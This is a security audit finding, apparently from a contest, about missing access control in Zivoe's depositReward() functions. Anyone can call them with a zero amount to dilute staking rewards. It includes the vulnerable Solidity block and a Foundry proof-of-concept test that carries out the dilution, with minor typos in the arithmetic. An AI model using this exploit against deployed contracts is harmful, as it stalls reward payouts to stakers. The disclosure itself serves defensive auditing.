Clumsy Cobalt Lion

high

# Arbitrary address can dilute the staking rewards because of missing access control

## Summary
Anyone can call [ZivoeRewards.depositReward()](https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewards.sol#L228-L243) and [ZivoeRewardsVesting.depositReward()](https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeRewardsVesting.sol#L352-L367) with `amount = 0` to dilute the `rewardRate`.

## Vulnerability Detail
Both functions lack access controls. When called with `amount = 0` before the finish period of the rewards distribution, the execution will enter the following block
```solidity
            uint256 remaining = rewardData[_rewardsToken].periodFinish.sub(block.timestamp);
            uint256 leftover = remaining.mul(rewardData[_rewardsToken].rewardRate);
            rewardData[_rewardsToken].rewardRate = reward.add(leftover).div(rewardData[_rewardsToken].rewardsDuration);
```
Since `reward = 0`, the `leftover` will be divided by the whole `rewardsDistribution`. Suppose the contract holds 3000 DAI in rewrads that have to been distributed for 30 days (rewardRate = 100 / 86400). When 15 days pass, the claimable amount must be 1500 DAI. An attacker can now call `depositReward(DAI, 0)` and the rewardRate will be set to `leftover / 30 days`. The leftover is half the original amount, i.e 1500 DAI. So we have `1500 / 30 days = 50 / 86400`. When another 15 days pass, the total claimable amount will be 2200 DAI instead of 3000 DAI. For the rest of the rewrads to be claimed, another 15 days have to pass. An attacker can keep doing this over and over again for even smaller time intervals. This will make the distribution process extremely slow.
## Impact
Dilution of staking rewards; making the whole process extremely slow

## Code Snippet
A PoC for the above scenario. Put the test in [Test_ZivoeRewards.sol](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-testing/src/TESTS_Core/Test_ZivoeRewards.sol) and import `console`.
```solidity
    function test_reward_dilution() public {
        uint256 deposit = 3000 ether;

        depositReward_DAI(address(stZVE), deposit);

        (
            uint256 rewardsDuration,,,,
        ) = stZVE.rewardData(DAI);

        assertEq(rewardsDuration, 30 days); 

        assert(sam.try_approveToken(address(ZVE), address(stZVE), IERC20(address(ZVE)).balanceOf(address(sam))));
        sam.try_stake(address(stZVE), IERC20(address(ZVE)).balanceOf(address(sam)));

        hevm.warp(block.timestamp + rewardsDuration / 2);
        uint256 earned = stZVE.earned(address(sam), DAI);
        console.log('Earned: ', earned); // We skiped 15 days, so the earned amount is around 1500 

        vm.prank(address(0x01));
        stZVE.depositReward(DAI, 0);

        hevm.warp(block.timestamp + rewardsDuration / 2); 
        earned = stZVE.earned(address(sam), DAI);
        console.log('Earned: ', earned); // After another 15 days the earned rewards must be around 3000, however they are ~2200 because of the depositRewards() call.
    }
```

## Tool used
Foundry

## Recommendation
Add access control to the function